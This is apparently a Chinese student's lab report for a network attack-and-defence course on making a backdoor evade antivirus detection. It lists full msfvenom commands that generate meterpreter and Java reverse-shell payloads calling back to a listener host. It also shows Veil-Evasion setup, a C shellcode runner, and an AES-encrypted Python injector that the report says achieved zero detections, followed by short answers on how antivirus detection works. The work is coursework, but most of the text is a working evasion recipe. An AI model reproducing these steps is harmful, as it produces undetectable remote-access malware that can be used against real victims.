免杀原理与实践
本次实验的目标是对实验二中生成的后门程序做免杀。
来自网络对抗技术课程
大三下
实践内容
一、初步病毒检测
这里老师提供了一个可以检测病毒或者文件危害性的网站。
virustotal官网:
这里我们选择之前实验二中制作的后门程序,上传到这个网站,进行测试。
检测之后,发现评分果然不尽人意,没有加壳等处理的后门直接被检测出来了,所以下面我们将以48分为相对参数指标,通过各种办法尝试进行免杀处理。
二、msf编码器的使用
我们尝试第一种方法。
用msf编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.80.129 LPORT=2213 -f exe > 2213met-encoded.exe
对编码一次后的程序重新检测,如图检测率不减反而增加。
继续尝试增加次数,进行多次编码,参数是:
-i -编码次数
这里我选择编码了10次。
再次检测:
发现仍然没有明显效果
于是换一种文件格式再来,采用php文件:
命令是:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=2213 x > 2213backdoor_php.php
本次效果较好,有了明显下降!
再试一试jar文件,检测率也相比通过编码的方式降低了不少
命令是:
msfvenom -p java/shell_reverse_tcp LHOST=192.168.1.106 LPORT=2213 -f jar > 2213backdoor_jar.jar
检测结果如下:
二、使用veil加壳工具
1.安装veil
依次执行
dpkg --add-architecture i386
apt-get update
apt-get install wine32
sudo apt-get install veil-evasion
cd /usr/share/veil/config
vim setup.sh
结果图:
输入veil进行安装
正常安装相关模块(一路next下去就行)
安装结束
执行以下命令:
veil
use evasion
use c/meterpreter/rev_tcp.py
set LHOST 192.168.43.27
set LPORT 2209
generate
之后会生成一个文件:
我们进行下病毒检测:
发现有一点降低,但结果还是不尽人意。
三、使用C + shellcode编程
首先使用msfvenom
得到shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 LPORT=2213 -f c
编辑c文件shellcode_c.c
vim shellcode_c.c
输入上方生成的代码以及
int main() { int (*func)() = (int(*)())buf; func(); }
编译成可执行文件
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
下面我们检测下刚刚生成的这个文件:
四、通过组合应用各种技术实现恶意代码免杀
这里使用python+aes_encrypt的方式:
在veil/evasion中选择使用python/shellcode_inject/aes_encrypt.py,输入generate并选择第二项,然后只需要设置IP地址和端口,生成成功后对其进行检测,检测率为0!
操作如下:
打开veil
,选择Evasion
,输入list
选择结束之后,依次输入
use python/shellcode_inject/aes_encrypt.py
generate
2
给出相应的参数设置端口信息等,生成文件
这是生成的文件
检测结果如下:
基础问题回答
(1)杀软是如何检测出恶意代码的?
一般通过这三种方式:基于特征码的检测;启发式恶意软件检测;基于行为的恶意软件检测。
1.检测特征码 人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。
2.启发式恶意软件检测 如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。
3.基于行为检测 与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能
(2)免杀是做什么?
给木马或病毒程序增加伪装使杀毒软件对其不能做出识别或查杀
(3)免杀的基本方法有哪些?
改变特征码——加壳、采取编码方式、用不同语言重写再编译;改变行为——使用不同的通讯连接技术、基于内存操作而不是系统;非常规方法——诱导目标关闭AV软件、利用有漏洞的应用。
(4)开启杀软能绝对防止电脑中恶意代码吗?
显而易见是不能绝对防止的,有很多攻击方式,在杀毒软件暂时落后于攻击技术时,就漏洞百出了,比如可以通过系统自带的漏洞进行攻击,例如利用0day漏洞进行恶意代码攻击杀毒软件基本无法防御。
实践总结与体会
本次实验让我通过自己的实践,在实践中弄清楚了如何实现免杀,在实验二中,我们使用多种方法分别实现了在linux和Windows系统中部署后门,并获取到了cmd命令窗口,此次实验相当于上次实验的基础上的优化,实现了对之前程序的免杀。
这让我认识到,在网络安全领域,没有最安全,只有更安全,这永远是一场保护与反保护的博弈战,我们需要同时学习二者的技术手段,才能成为一名技术高超的白客,这恰好也是我的兴趣所在,路漫漫其修远兮,吾将上下而求索。